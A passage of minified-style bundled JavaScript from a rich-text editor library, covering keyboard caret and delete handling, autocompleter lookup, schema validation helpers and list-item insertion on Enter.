          keyCode: VK.RIGHT,
          ctrlKey: !isMac,
          altKey: isMac,
          action: action(moveNextWord, editor, caret)
        },
        {
          keyCode: VK.LEFT,
          ctrlKey: !isMac,
          altKey: isMac,
          action: action(movePrevWord, editor, caret)
        },
        {
          keyCode: VK.UP,
          action: action(moveV$2, editor, false)
        },
        {
          keyCode: VK.DOWN,
          action: action(moveV$2, editor, true)
        }
      ], evt).each(_ => {
        evt.preventDefault();
      });
    };
    const setup$k = (editor, caret) => {
      editor.on('keydown', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeydownOverride$4(editor, caret, evt);
        }
      });
    };

    const point = (container, offset) => ({
      container,
      offset
    });

    const DOM$7 = DOMUtils.DOM;
    const alwaysNext = startNode => node => startNode === node ? -1 : 0;
    const isBoundary = dom => node => dom.isBlock(node) || contains$2([
      'BR',
      'IMG',
      'HR',
      'INPUT'
    ], node.nodeName) || dom.getContentEditable(node) === 'false';
    const textBefore = (node, offset, rootNode) => {
      if (isText$a(node) && offset >= 0) {
        return Optional.some(point(node, offset));
      } else {
        const textSeeker = TextSeeker(DOM$7);
        return Optional.from(textSeeker.backwards(node, offset, alwaysNext(node), rootNode)).map(prev => point(prev.container, prev.container.data.length));
      }
    };
    const textAfter = (node, offset, rootNode) => {
      if (isText$a(node) && offset >= node.length) {
        return Optional.some(point(node, offset));
      } else {
        const textSeeker = TextSeeker(DOM$7);
        return Optional.from(textSeeker.forwards(node, offset, alwaysNext(node), rootNode)).map(prev => point(prev.container, 0));
      }
    };
    const scanLeft = (node, offset, rootNode) => {
      if (!isText$a(node)) {
        return Optional.none();
      }
      const text = node.data;
      if (offset >= 0 && offset <= text.length) {
        return Optional.some(point(node, offset));
      } else {
        const textSeeker = TextSeeker(DOM$7);
        return Optional.from(textSeeker.backwards(node, offset, alwaysNext(node), rootNode)).bind(prev => {
          const prevText = prev.container.data;
          return scanLeft(prev.container, offset + prevText.length, rootNode);
        });
      }
    };
    const scanRight = (node, offset, rootNode) => {
      if (!isText$a(node)) {
        return Optional.none();
      }
      const text = node.data;
      if (offset <= text.length) {
        return Optional.some(point(node, offset));
      } else {
        const textSeeker = TextSeeker(DOM$7);
        return Optional.from(textSeeker.forwards(node, offset, alwaysNext(node), rootNode)).bind(next => scanRight(next.container, offset - text.length, rootNode));
      }
    };
    const repeatLeft = (dom, node, offset, process, rootNode) => {
      const search = TextSeeker(dom, isBoundary(dom));
      return Optional.from(search.backwards(node, offset, process, rootNode));
    };

    const isValidTextRange = rng => rng.collapsed && isText$a(rng.startContainer);
    const getText = rng => trim$1(rng.toString().replace(/\u00A0/g, ' '));
    const isWhitespace = chr => chr !== '' && ' \xA0\f\n\r\t\x0B'.indexOf(chr) !== -1;

    const stripTrigger = (text, trigger) => text.substring(trigger.length);
    const findTrigger = (text, index, trigger) => {
      let i;
      const firstChar = trigger.charAt(0);
      for (i = index - 1; i >= 0; i--) {
        const char = text.charAt(i);
        if (isWhitespace(char)) {
          return Optional.none();
        }
        if (firstChar === char && contains$1(text, trigger, i, index)) {
          break;
        }
      }
      return Optional.some(i);
    };
    const findStart = (dom, initRange, trigger, minChars = 0) => {
      if (!isValidTextRange(initRange)) {
        return Optional.none();
      }
      const buffer = {
        text: '',
        offset: 0
      };
      const findTriggerIndex = (element, offset, text) => {
        buffer.text = text + buffer.text;
        buffer.offset += offset;
        return findTrigger(buffer.text, buffer.offset, trigger).getOr(offset);
      };
      const root = dom.getParent(initRange.startContainer, dom.isBlock) || dom.getRoot();
      return repeatLeft(dom, initRange.startContainer, initRange.startOffset, findTriggerIndex, root).bind(spot => {
        const range = initRange.cloneRange();
        range.setStart(spot.container, spot.offset);
        range.setEnd(initRange.endContainer, initRange.endOffset);
        if (range.collapsed) {
          return Optional.none();
        }
        const text = getText(range);
        const triggerIndex = text.lastIndexOf(trigger);
        if (triggerIndex !== 0 || stripTrigger(text, trigger).length < minChars) {
          return Optional.none();
        } else {
          return Optional.some({
            text: stripTrigger(text, trigger),
            range,
            trigger
          });
        }
      });
    };
    const getContext = (dom, initRange, trigger, minChars = 0) => detect$1(SugarElement.fromDom(initRange.startContainer)).fold(() => findStart(dom, initRange, trigger, minChars), elm => {
      const range = dom.createRng();
      range.selectNode(elm.dom);
      const text = getText(range);
      return Optional.some({
        range,
        text: stripTrigger(text, trigger),
        trigger
      });
    });

    const isText$1 = node => node.nodeType === TEXT;
    const isElement = node => node.nodeType === ELEMENT;
    const toLast = node => {
      if (isText$1(node)) {
        return point(node, node.data.length);
      } else {
        const children = node.childNodes;
        return children.length > 0 ? toLast(children[children.length - 1]) : point(node, children.length);
      }
    };
    const toLeaf = (node, offset) => {
      const children = node.childNodes;
      if (children.length > 0 && offset < children.length) {
        return toLeaf(children[offset], 0);
      } else if (children.length > 0 && isElement(node) && children.length === offset) {
        return toLast(children[children.length - 1]);
      } else {
        return point(node, offset);
      }
    };

    const isPreviousCharContent = (dom, leaf) => {
      var _a;
      const root = (_a = dom.getParent(leaf.container, dom.isBlock)) !== null && _a !== void 0 ? _a : dom.getRoot();
      return repeatLeft(dom, leaf.container, leaf.offset, (_element, offset) => offset === 0 ? -1 : offset, root).filter(spot => {
        const char = spot.container.data.charAt(spot.offset - 1);
        return !isWhitespace(char);
      }).isSome();
    };
    const isStartOfWord = dom => rng => {
      const leaf = toLeaf(rng.startContainer, rng.startOffset);
      return !isPreviousCharContent(dom, leaf);
    };
    const getTriggerContext = (dom, initRange, database) => findMap(database.triggers, trigger => getContext(dom, initRange, trigger));
    const lookup = (editor, getDatabase) => {
      const database = getDatabase();
      const rng = editor.selection.getRng();
      return getTriggerContext(editor.dom, rng, database).bind(context => lookupWithContext(editor, getDatabase, context));
    };
    const lookupWithContext = (editor, getDatabase, context, fetchOptions = {}) => {
      var _a;
      const database = getDatabase();
      const rng = editor.selection.getRng();
      const startText = (_a = rng.startContainer.nodeValue) !== null && _a !== void 0 ? _a : '';
      const autocompleters = filter$5(database.lookupByTrigger(context.trigger), autocompleter => context.text.length >= autocompleter.minChars && autocompleter.matches.getOrThunk(() => isStartOfWord(editor.dom))(context.range, startText, context.text));
      if (autocompleters.length === 0) {
        return Optional.none();
      }
      const lookupData = Promise.all(map$3(autocompleters, ac => {
        const fetchResult = ac.fetch(context.text, ac.maxResults, fetchOptions);
        return fetchResult.then(results => ({
          matchText: context.text,
          items: results,
          columns: ac.columns,
          onAction: ac.onAction,
          highlightOn: ac.highlightOn
        }));
      }));
      return Optional.some({
        lookupData,
        context
      });
    };

    var SimpleResultType;
    (function (SimpleResultType) {
      SimpleResultType[SimpleResultType['Error'] = 0] = 'Error';
      SimpleResultType[SimpleResultType['Value'] = 1] = 'Value';
    }(SimpleResultType || (SimpleResultType = {})));
    const fold$1 = (res, onError, onValue) => res.stype === SimpleResultType.Error ? onError(res.serror) : onValue(res.svalue);
    const partition = results => {
      const values = [];
      const errors = [];
      each$e(results, obj => {
        fold$1(obj, err => errors.push(err), val => values.push(val));
      });
      return {
        values,
        errors
      };
    };
    const mapError = (res, f) => {
      if (res.stype === SimpleResultType.Error) {
        return {
          stype: SimpleResultType.Error,
          serror: f(res.serror)
        };
      } else {
        return res;
      }
    };
    const map = (res, f) => {
      if (res.stype === SimpleResultType.Value) {
        return {
          stype: SimpleResultType.Value,
          svalue: f(res.svalue)
        };
      } else {
        return res;
      }
    };
    const bind = (res, f) => {
      if (res.stype === SimpleResultType.Value) {
        return f(res.svalue);
      } else {
        return res;
      }
    };
    const bindError = (res, f) => {
      if (res.stype === SimpleResultType.Error) {
        return f(res.serror);
      } else {
        return res;
      }
    };
    const svalue = v => ({
      stype: SimpleResultType.Value,
      svalue: v
    });
    const serror = e => ({
      stype: SimpleResultType.Error,
      serror: e
    });
    const toResult = res => fold$1(res, Result.error, Result.value);
    const fromResult = res => res.fold(serror, svalue);
    const SimpleResult = {
      fromResult,
      toResult,
      svalue,
      partition,
      serror,
      bind,
      bindError,
      map,
      mapError,
      fold: fold$1
    };

    const formatObj = input => {
      return isObject(input) && keys(input).length > 100 ? ' removed due to size' : JSON.stringify(input, null, 2);
    };
    const formatErrors = errors => {
      const es = errors.length > 10 ? errors.slice(0, 10).concat([{
          path: [],
          getErrorInfo: constant('... (only showing first ten failures)')
        }]) : errors;
      return map$3(es, e => {
        return 'Failed path: (' + e.path.join(' > ') + ')\n' + e.getErrorInfo();
      });
    };

    const nu = (path, getErrorInfo) => {
      return SimpleResult.serror([{
          path,
          getErrorInfo
        }]);
    };
    const missingRequired = (path, key, obj) => nu(path, () => 'Could not find valid *required* value for "' + key + '" in ' + formatObj(obj));
    const missingKey = (path, key) => nu(path, () => 'Choice schema did not contain choice key: "' + key + '"');
    const missingBranch = (path, branches, branch) => nu(path, () => 'The chosen schema: "' + branch + '" did not exist in branches: ' + formatObj(branches));
    const custom = (path, err) => nu(path, constant(err));

    const chooseFrom = (path, input, branches, ch) => {
      const fields = get$a(branches, ch);
      return fields.fold(() => missingBranch(path, branches, ch), vp => vp.extract(path.concat(['branch: ' + ch]), input));
    };
    const choose$1 = (key, branches) => {
      const extract = (path, input) => {
        const choice = get$a(input, key);
        return choice.fold(() => missingKey(path, key), chosen => chooseFrom(path, input, branches, chosen));
      };
      const toString = () => 'chooseOn(' + key + '). Possible values: ' + keys(branches);
      return {
        extract,
        toString
      };
    };

    const shallow = (old, nu) => {
      return nu;
    };
    const deep = (old, nu) => {
      const bothObjects = isPlainObject(old) && isPlainObject(nu);
      return bothObjects ? deepMerge(old, nu) : nu;
    };
    const baseMerge = merger => {
      return (...objects) => {
        if (objects.length === 0) {
          throw new Error(`Can't merge zero objects`);
        }
        const ret = {};
        for (let j = 0; j < objects.length; j++) {
          const curObject = objects[j];
          for (const key in curObject) {
            if (has$2(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    const deepMerge = baseMerge(deep);
    const merge = baseMerge(shallow);

    const required = () => ({
      tag: 'required',
      process: {}
    });
    const defaultedThunk = fallbackThunk => ({
      tag: 'defaultedThunk',
      process: fallbackThunk
    });
    const defaulted$1 = fallback => defaultedThunk(constant(fallback));
    const asOption = () => ({
      tag: 'option',
      process: {}
    });

    const mergeValues = (values, base) => values.length > 0 ? SimpleResult.svalue(deepMerge(base, merge.apply(undefined, values))) : SimpleResult.svalue(base);
    const mergeErrors = errors => compose(SimpleResult.serror, flatten)(errors);
    const consolidateObj = (objects, base) => {
      const partition = SimpleResult.partition(objects);
      return partition.errors.length > 0 ? mergeErrors(partition.errors) : mergeValues(partition.values, base);
    };
    const consolidateArr = objects => {
      const partitions = SimpleResult.partition(objects);
      return partitions.errors.length > 0 ? mergeErrors(partitions.errors) : SimpleResult.svalue(partitions.values);
    };
    const ResultCombine = {
      consolidateObj,
      consolidateArr
    };

    const field$1 = (key, newKey, presence, prop) => ({
      tag: 'field',
      key,
      newKey,
      presence,
      prop
    });
    const customField$1 = (newKey, instantiator) => ({
      tag: 'custom',
      newKey,
      instantiator
    });
    const fold = (value, ifField, ifCustom) => {
      switch (value.tag) {
      case 'field':
        return ifField(value.key, value.newKey, value.presence, value.prop);
      case 'custom':
        return ifCustom(value.newKey, value.instantiator);
      }
    };

    const value = validator => {
      const extract = (path, val) => {
        return SimpleResult.bindError(validator(val), err => custom(path, err));
      };
      const toString = constant('val');
      return {
        extract,
        toString
      };
    };
    const anyValue$1 = value(SimpleResult.svalue);

    const requiredAccess = (path, obj, key, bundle) => get$a(obj, key).fold(() => missingRequired(path, key, obj), bundle);
    const fallbackAccess = (obj, key, fallback, bundle) => {
      const v = get$a(obj, key).getOrThunk(() => fallback(obj));
      return bundle(v);
    };
    const optionAccess = (obj, key, bundle) => bundle(get$a(obj, key));
    const optionDefaultedAccess = (obj, key, fallback, bundle) => {
      const opt = get$a(obj, key).map(val => val === true ? fallback(obj) : val);
      return bundle(opt);
    };
    const extractField = (field, path, obj, key, prop) => {
      const bundle = av => prop.extract(path.concat([key]), av);
      const bundleAsOption = optValue => optValue.fold(() => SimpleResult.svalue(Optional.none()), ov => {
        const result = prop.extract(path.concat([key]), ov);
        return SimpleResult.map(result, Optional.some);
      });
      switch (field.tag) {
      case 'required':
        return requiredAccess(path, obj, key, bundle);
      case 'defaultedThunk':
        return fallbackAccess(obj, key, field.process, bundle);
      case 'option':
        return optionAccess(obj, key, bundleAsOption);
      case 'defaultedOptionThunk':
        return optionDefaultedAccess(obj, key, field.process, bundleAsOption);
      case 'mergeWithThunk': {
          return fallbackAccess(obj, key, constant({}), v => {
            const result = deepMerge(field.process(obj), v);
            return bundle(result);
          });
        }
      }
    };
    const extractFields = (path, obj, fields) => {
      const success = {};
      const errors = [];
      for (const field of fields) {
        fold(field, (key, newKey, presence, prop) => {
          const result = extractField(presence, path, obj, key, prop);
          SimpleResult.fold(result, err => {
            errors.push(...err);
          }, res => {
            success[newKey] = res;
          });
        }, (newKey, instantiator) => {
          success[newKey] = instantiator(obj);
        });
      }
      return errors.length > 0 ? SimpleResult.serror(errors) : SimpleResult.svalue(success);
    };
    const objOf = values => {
      const extract = (path, o) => extractFields(path, o, values);
      const toString = () => {
        const fieldStrings = map$3(values, value => fold(value, (key, _okey, _presence, prop) => key + ' -> ' + prop.toString(), (newKey, _instantiator) => 'state(' + newKey + ')'));
        return 'obj{\n' + fieldStrings.join('\n') + '}';
      };
      return {
        extract,
        toString
      };
    };
    const arrOf = prop => {
      const extract = (path, array) => {
        const results = map$3(array, (a, i) => prop.extract(path.concat(['[' + i + ']']), a));
        return ResultCombine.consolidateArr(results);
      };
      const toString = () => 'array(' + prop.toString() + ')';
      return {
        extract,
        toString
      };
    };

    const valueOf = validator => value(v => validator(v).fold(SimpleResult.serror, SimpleResult.svalue));
    const extractValue = (label, prop, obj) => {
      const res = prop.extract([label], obj);
      return SimpleResult.mapError(res, errs => ({
        input: obj,
        errors: errs
      }));
    };
    const asRaw = (label, prop, obj) => SimpleResult.toResult(extractValue(label, prop, obj));
    const formatError = errInfo => {
      return 'Errors: \n' + formatErrors(errInfo.errors).join('\n') + '\n\nInput object: ' + formatObj(errInfo.input);
    };
    const choose = (key, branches) => choose$1(key, map$2(branches, objOf));

    const anyValue = constant(anyValue$1);
    const typedValue = (validator, expectedType) => value(a => {
      const actualType = typeof a;
      return validator(a) ? SimpleResult.svalue(a) : SimpleResult.serror(`Expected type: ${ expectedType } but got: ${ actualType }`);
    });
    const number = typedValue(isNumber, 'number');
    const string = typedValue(isString, 'string');
    const boolean = typedValue(isBoolean, 'boolean');
    const functionProcessor = typedValue(isFunction, 'function');

    const field = field$1;
    const customField = customField$1;
    const validateEnum = values => valueOf(value => contains$2(values, value) ? Result.value(value) : Result.error(`Unsupported value: "${ value }", choose one of "${ values.join(', ') }".`));
    const requiredOf = (key, schema) => field(key, key, required(), schema);
    const requiredString = key => requiredOf(key, string);
    const requiredFunction = key => requiredOf(key, functionProcessor);
    const requiredArrayOf = (key, schema) => field(key, key, required(), arrOf(schema));
    const optionOf = (key, schema) => field(key, key, asOption(), schema);
    const optionString = key => optionOf(key, string);
    const optionFunction = key => optionOf(key, functionProcessor);
    const defaulted = (key, fallback) => field(key, key, defaulted$1(fallback), anyValue());
    const defaultedOf = (key, fallback, schema) => field(key, key, defaulted$1(fallback), schema);
    const defaultedNumber = (key, fallback) => defaultedOf(key, fallback, number);
    const defaultedString = (key, fallback) => defaultedOf(key, fallback, string);
    const defaultedStringEnum = (key, fallback, values) => defaultedOf(key, fallback, validateEnum(values));
    const defaultedBoolean = (key, fallback) => defaultedOf(key, fallback, boolean);
    const defaultedFunction = (key, fallback) => defaultedOf(key, fallback, functionProcessor);
    const defaultedArrayOf = (key, fallback, schema) => defaultedOf(key, fallback, arrOf(schema));

    const type = requiredString('type');
    const fetch$1 = requiredFunction('fetch');
    const onAction = requiredFunction('onAction');
    const onSetup = defaultedFunction('onSetup', () => noop);
    const optionalText = optionString('text');
    const optionalIcon = optionString('icon');
    const optionalTooltip = optionString('tooltip');
    const optionalLabel = optionString('label');
    const active = defaultedBoolean('active', false);
    const enabled = defaultedBoolean('enabled', true);
    const primary = defaultedBoolean('primary', false);
    const defaultedColumns = num => defaulted('columns', num);
    const defaultedType = type => defaultedString('type', type);

    const autocompleterSchema = objOf([
      type,
      requiredString('trigger'),
      defaultedNumber('minChars', 1),
      defaultedColumns(1),
      defaultedNumber('maxResults', 10),
      optionFunction('matches'),
      fetch$1,
      onAction,
      defaultedArrayOf('highlightOn', [], string)
    ]);
    const createAutocompleter = spec => asRaw('Autocompleter', autocompleterSchema, {
      trigger: spec.ch,
      ...spec
    });

    const baseToolbarButtonFields = [
      enabled,
      optionalTooltip,
      optionalIcon,
      optionalText,
      onSetup
    ];

    const baseToolbarToggleButtonFields = [active].concat(baseToolbarButtonFields);

    const contextBarFields = [
      defaultedFunction('predicate', never),
      defaultedStringEnum('scope', 'node', [
        'node',
        'editor'
      ]),
      defaultedStringEnum('position', 'selection', [
        'node',
        'selection',
        'line'
      ])
    ];

    const contextButtonFields = baseToolbarButtonFields.concat([
      defaultedType('contextformbutton'),
      primary,
      onAction,
      customField('original', identity)
    ]);
    const contextToggleButtonFields = baseToolbarToggleButtonFields.concat([
      defaultedType('contextformbutton'),
      primary,
      onAction,
      customField('original', identity)
    ]);
    const launchButtonFields = baseToolbarButtonFields.concat([defaultedType('contextformbutton')]);
    const launchToggleButtonFields = baseToolbarToggleButtonFields.concat([defaultedType('contextformtogglebutton')]);
    const toggleOrNormal = choose('type', {
      contextformbutton: contextButtonFields,
      contextformtogglebutton: contextToggleButtonFields
    });
    objOf([
      defaultedType('contextform'),
      defaultedFunction('initValue', constant('')),
      optionalLabel,
      requiredArrayOf('commands', toggleOrNormal),
      optionOf('launch', choose('type', {
        contextformbutton: launchButtonFields,
        contextformtogglebutton: launchToggleButtonFields
      }))
    ].concat(contextBarFields));

    const register$2 = editor => {
      const popups = editor.ui.registry.getAll().popups;
      const dataset = map$2(popups, popup => createAutocompleter(popup).fold(err => {
        throw new Error(formatError(err));
      }, identity));
      const triggers = stringArray(mapToArray(dataset, v => v.trigger));
      const datasetValues = values(dataset);
      const lookupByTrigger = trigger => filter$5(datasetValues, dv => dv.trigger === trigger);
      return {
        dataset,
        triggers,
        lookupByTrigger
      };
    };

    const setupEditorInput = (editor, api) => {
      const update = last$1(api.load, 50);
      editor.on('keypress compositionend', e => {
        if (e.which === 27) {
          return;
        }
        update.throttle();
      });
      editor.on('keydown', e => {
        const keyCode = e.which;
        if (keyCode === 8) {
          update.throttle();
        } else if (keyCode === 27) {
          api.cancelIfNecessary();
        }
      });
      editor.on('remove', update.cancel);
    };
    const setup$j = editor => {
      const activeAutocompleter = value$2();
      const uiActive = Cell(false);
      const isActive = activeAutocompleter.isSet;
      const cancelIfNecessary = () => {
        if (isActive()) {
          removeAutocompleterDecoration(editor);
          fireAutocompleterEnd(editor);
          uiActive.set(false);
          activeAutocompleter.clear();
        }
      };
      const commenceIfNecessary = context => {
        if (!isActive()) {
          addAutocompleterDecoration(editor, context.range);
          activeAutocompleter.set({
            trigger: context.trigger,
            matchLength: context.text.length
          });
        }
      };
      const getAutocompleters = cached(() => register$2(editor));
      const doLookup = fetchOptions => activeAutocompleter.get().map(ac => getContext(editor.dom, editor.selection.getRng(), ac.trigger).bind(newContext => lookupWithContext(editor, getAutocompleters, newContext, fetchOptions))).getOrThunk(() => lookup(editor, getAutocompleters));
      const load = fetchOptions => {
        doLookup(fetchOptions).fold(cancelIfNecessary, lookupInfo => {
          commenceIfNecessary(lookupInfo.context);
          lookupInfo.lookupData.then(lookupData => {
            activeAutocompleter.get().map(ac => {
              const context = lookupInfo.context;
              if (ac.trigger === context.trigger) {
                if (context.text.length - ac.matchLength >= 10) {
                  cancelIfNecessary();
                } else {
                  activeAutocompleter.set({
                    ...ac,
                    matchLength: context.text.length
                  });
                  if (uiActive.get()) {
                    fireAutocompleterUpdate(editor, { lookupData });
                  } else {
                    uiActive.set(true);
                    fireAutocompleterStart(editor, { lookupData });
                  }
                }
              }
            });
          });
        });
      };
      editor.addCommand('mceAutocompleterReload', (_ui, value) => {
        const fetchOptions = isObject(value) ? value.fetchOptions : {};
        load(fetchOptions);
      });
      editor.addCommand('mceAutocompleterClose', cancelIfNecessary);
      setupEditorInput(editor, {
        cancelIfNecessary,
        load
      });
    };

    const createAndFireInputEvent = eventType => (editor, inputType, specifics = {}) => {
      const target = editor.getBody();
      const overrides = {
        bubbles: true,
        composed: true,
        data: null,
        isComposing: false,
        detail: 0,
        view: null,
        target,
        currentTarget: target,
        eventPhase: Event.AT_TARGET,
        originalTarget: target,
        explicitOriginalTarget: target,
        isTrusted: false,
        srcElement: target,
        cancelable: false,
        preventDefault: noop,
        inputType
      };
      const input = clone$3(new InputEvent(eventType));
      return editor.dispatch(eventType, {
        ...input,
        ...overrides,
        ...specifics
      });
    };
    const fireFakeInputEvent = createAndFireInputEvent('input');
    const fireFakeBeforeInputEvent = createAndFireInputEvent('beforeinput');

    const executeKeydownOverride$3 = (editor, caret, evt) => {
      const inputType = evt.keyCode === VK.BACKSPACE ? 'deleteContentBackward' : 'deleteContentForward';
      executeWithDelayedAction([
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete, editor)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$5, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$5, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$6, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$6, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$3, editor, caret, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$3, editor, caret, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$9, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$9, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$4, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$4, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$1, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$1, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$7, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$7, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$8, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$8, editor, true)
        },
        {
          keyCode: VK.BACKSPACE,
          action: action(backspaceDelete$2, editor, false)
        },
        {
          keyCode: VK.DELETE,
          action: action(backspaceDelete$2, editor, true)
        }
      ], evt).each(applyAction => {
        evt.preventDefault();
        const beforeInput = fireFakeBeforeInputEvent(editor, inputType);
        if (!beforeInput.isDefaultPrevented()) {
          applyAction();
          fireFakeInputEvent(editor, inputType);
        }
      });
    };
    const executeKeyupOverride = (editor, evt) => {
      execute([
        {
          keyCode: VK.BACKSPACE,
          action: action(paddEmptyElement, editor)
        },
        {
          keyCode: VK.DELETE,
          action: action(paddEmptyElement, editor)
        }
      ], evt);
    };
    const setup$i = (editor, caret) => {
      editor.on('keydown', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeydownOverride$3(editor, caret, evt);
        }
      });
      editor.on('keyup', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeyupOverride(editor, evt);
        }
      });
    };

    const firstNonWhiteSpaceNodeSibling = node => {
      while (node) {
        if (isElement$6(node) || isText$a(node) && node.data && /[\r\n\s]/.test(node.data)) {
          return node;
        }
        node = node.nextSibling;
      }
      return null;
    };
    const moveToCaretPosition = (editor, root) => {
      const dom = editor.dom;
      const moveCaretBeforeOnEnterElementsMap = editor.schema.getMoveCaretBeforeOnEnterElements();
      if (!root) {
        return;
      }
      if (/^(LI|DT|DD)$/.test(root.nodeName)) {
        const firstChild = firstNonWhiteSpaceNodeSibling(root.firstChild);
        if (firstChild && /^(UL|OL|DL)$/.test(firstChild.nodeName)) {
          root.insertBefore(dom.doc.createTextNode(nbsp), root.firstChild);
        }
      }
      const rng = dom.createRng();
      root.normalize();
      if (root.hasChildNodes()) {
        const walker = new DomTreeWalker(root, root);
        let lastNode = root;
        let node;
        while (node = walker.current()) {
          if (isText$a(node)) {
            rng.setStart(node, 0);
            rng.setEnd(node, 0);
            break;
          }
          if (moveCaretBeforeOnEnterElementsMap[node.nodeName.toLowerCase()]) {
            rng.setStartBefore(node);
            rng.setEndBefore(node);
            break;
          }
          lastNode = node;
          node = walker.next();
        }
        if (!node) {
          rng.setStart(lastNode, 0);
          rng.setEnd(lastNode, 0);
        }
      } else {
        if (isBr$6(root)) {
          if (root.nextSibling && dom.isBlock(root.nextSibling)) {
            rng.setStartBefore(root);
            rng.setEndBefore(root);
          } else {
            rng.setStartAfter(root);
            rng.setEndAfter(root);
          }
        } else {
          rng.setStart(root, 0);
          rng.setEnd(root, 0);
        }
      }
      editor.selection.setRng(rng);
      scrollRangeIntoView(editor, rng);
    };
    const getEditableRoot = (dom, node) => {
      const root = dom.getRoot();
      let editableRoot;
      let parent = node;
      while (parent !== root && parent && dom.getContentEditable(parent) !== 'false') {
        if (dom.getContentEditable(parent) === 'true') {
          editableRoot = parent;
        }
        parent = parent.parentNode;
      }
      return parent !== root ? editableRoot : root;
    };
    const getParentBlock$1 = editor => {
      return Optional.from(editor.dom.getParent(editor.selection.getStart(true), editor.dom.isBlock));
    };
    const getParentBlockName = editor => {
      return getParentBlock$1(editor).fold(constant(''), parentBlock => {
        return parentBlock.nodeName.toUpperCase();
      });
    };
    const isListItemParentBlock = editor => {
      return getParentBlock$1(editor).filter(elm => {
        return isListItem$1(SugarElement.fromDom(elm));
      }).isSome();
    };

    const hasFirstChild = (elm, name) => {
      return elm.firstChild && elm.firstChild.nodeName === name;
    };
    const isFirstChild = elm => {
      var _a;
      return ((_a = elm.parentNode) === null || _a === void 0 ? void 0 : _a.firstChild) === elm;
    };
    const hasParent = (elm, parentName) => {
      const parentNode = elm === null || elm === void 0 ? void 0 : elm.parentNode;
      return isNonNullable(parentNode) && parentNode.nodeName === parentName;
    };
    const isListBlock = elm => {
      return isNonNullable(elm) && /^(OL|UL|LI)$/.test(elm.nodeName);
    };
    const isListItem = elm => {
      return isNonNullable(elm) && /^(LI|DT|DD)$/.test(elm.nodeName);
    };
    const isNestedList = elm => {
      return isListBlock(elm) && isListBlock(elm.parentNode);
    };
    const getContainerBlock = containerBlock => {
      const containerBlockParent = containerBlock.parentNode;
      return isListItem(containerBlockParent) ? containerBlockParent : containerBlock;
    };
    const isFirstOrLastLi = (containerBlock, parentBlock, first) => {
      let node = containerBlock[first ? 'firstChild' : 'lastChild'];
      while (node) {
        if (isElement$6(node)) {
          break;
        }
        node = node[first ? 'nextSibling' : 'previousSibling'];
      }
      return node === parentBlock;
    };
    const insert$3 = (editor, createNewBlock, containerBlock, parentBlock, newBlockName) => {
      const dom = editor.dom;
      const rng = editor.selection.getRng();
      const containerParent = containerBlock.parentNode;
      if (containerBlock === editor.getBody() || !containerParent) {
        return;
      }
      if (isNestedList(containerBlock)) {
        newBlockName = 'LI';
      }
      let newBlock = createNewBlock(newBlockName);
      if (isFirstOrLastLi(containerBlock, parentBlock, true) && isFirstOrLastLi(containerBlock, parentBlock, false)) {
        if (hasParent(containerBlock, 'LI')) {
          const containerBlockParent = getContainerBlock(containerBlock);
          dom.insertAfter(newBlock, containerBlockParent);
          if (isFirstChild(containerBlock)) {
            dom.remove(containerBlockParent);
          } else {
            dom.remove(containerBlock);
          }
        } else {
          dom.replace(newBlock, containerBlock);
        }
      } else if (isFirstOrLastLi(containerBlock, parentBlock, true)) {
        if (hasParent(containerBlock, 'LI')) {
          dom.insertAfter(newBlock, getContainerBlock(containerBlock));
          newBlock.appendChild(dom.doc.createTextNode(' '));
          newBlock.appendChild(containerBlock);
        } else {
          containerParent.insertBefore(newBlock, containerBlock);
        }
        dom.remove(parentBlock);
      } else if (isFirstOrLastLi(containerBlock, parentBlock, false)) {
        dom.insertAfter(newBlock, getContainerBlock(containerBlock));
        dom.remove(parentBlock);
      } else {
        containerBlock = getContainerBlock(containerBlock);
        const tmpRng = rng.cloneRange();
        tmpRng.setStartAfter(parentBlock);
        tmpRng.setEndAfter(containerBlock);
        const fragment = tmpRng.extractContents();
        if (newBlockName === 'LI' && hasFirstChild(fragment, 'LI')) {
          newBlock = fragment.firstChild;
          dom.insertAfter(fragment, containerBlock);
        } else {
          dom.insertAfter(fragment, containerBlock);
          dom.insertAfter(newBlock, containerBlock);
        }
        dom.remove(parentBlock);
      }
      moveToCaretPosition(editor, newBlock);
    };

    const trimZwsp = fragment => {
      each$e(descendants$1(SugarElement.fromDom(fragment), isText$b), text => {
        const rawNode = text.dom;
        rawNode.nodeValue = trim$1(rawNode.data);
      });
    };
    const isWithinNonEditableList = (editor, node) => {
      const parentList = editor.dom.getParent(node, 'ol,ul,dl');
      return parentList !== null && editor.dom.getContentEditableParent(parentList) === 'false';
    };
    const isEmptyAnchor = (dom, elm) => {
      return elm && elm.nodeName === 'A' && dom.isEmpty(elm);
    };
    const emptyBlock = elm => {
      elm.innerHTML = '<br data-mce-bogus="1">';
    };
    const containerAndSiblingName = (container, nodeName) => {
      return container.nodeName === nodeName || container.previousSibling && container.previousSibling.nodeName === nodeName;
    };
    const canSplitBlock = (dom, node) => {
      return isNonNullable(node) && dom.isBlock(node) && !/^(TD|TH|CAPTION|FORM)$/.test(node.nodeName) && !/^(fixed|absolute)/i.test(node.style.position) && dom.getContentEditable(node) !== 'true';
    };
